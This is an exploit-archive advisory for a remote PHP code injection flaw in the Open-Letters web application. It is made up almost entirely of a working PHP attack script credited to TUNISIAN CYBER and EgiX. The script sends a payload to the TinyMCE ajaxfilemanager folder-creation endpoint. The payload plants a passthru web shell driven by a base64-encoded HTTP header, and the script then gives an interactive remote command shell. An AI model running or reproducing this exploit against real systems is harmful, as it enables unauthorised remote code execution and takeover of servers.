Open-Letters Remote PHP Code Injection Vulnerability

2015.04.23
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

<?php /* OutPut: #[+] Author: TUNISIAN CYBER #[+] Script coded BY: Egidio Romano aka EgiX #[+] Title: Open-Letters Remote PHP Code Injection Vulnerability #[+] Date: 19-04-2015 #[+] Vendor: http://www.open-letters.de/ #[+] Type: WebAPP #[+] Tested on: KaliLinux (Debian) #[+] CVE: #[+] Twitter: @TCYB3R #[+] Egix's Contact: n0b0d13s[at]gmail[dot]com #[+] Proof of concept: http://i.imgur.com/TNKV8Mt.png OL-shell> */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die( "\n[-] No response from {$host}:80\n"); fwrite($sock, $packet); return stream_get_contents($sock); } print "#[+] Author: TUNISIAN CYBER\n"; print "#[+] Script coded BY: Egidio Romano aka EgiX\n"; print "#[+] Title: Open-Letters Remote PHP Code Injection Vulnerability\n"; print "#[+] Date: 19-04-2015\n"; print "#[+] Vendor: http://www.open-letters.de/\n"; print "#[+] Type: WebAPP\n"; print "#[+] Tested on: KaliLinux (Debian)\n"; print "#[+] CVE:\n"; print "#[+] Twitter: @TCYB3R\n"; print "#[+] Egix's Contact: n0b0d13s[at]gmail[dot]com\n"; print "#[+] Proof of concept: http://i.imgur.com/TNKV8Mt.png"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /zenphoto/\n"; die(); } $host = $argv[1]; $path = $argv[2]; $exploit = "foo=<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>"; $packet = "POST {$path}external_scripts/tinymce/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Length: ".strlen($exploit)."\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Connection: close\r\n\r\n{$exploit}"; http_send($host, $packet); $packet = "GET {$path}external_scripts/tinymce/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; while(1) { print "\nOL-shell> "; if (($cmd = trim(fgets(STDIN))) == "exit") break; preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } ?>

References:

http://i.imgur.com/TNKV8Mt.png


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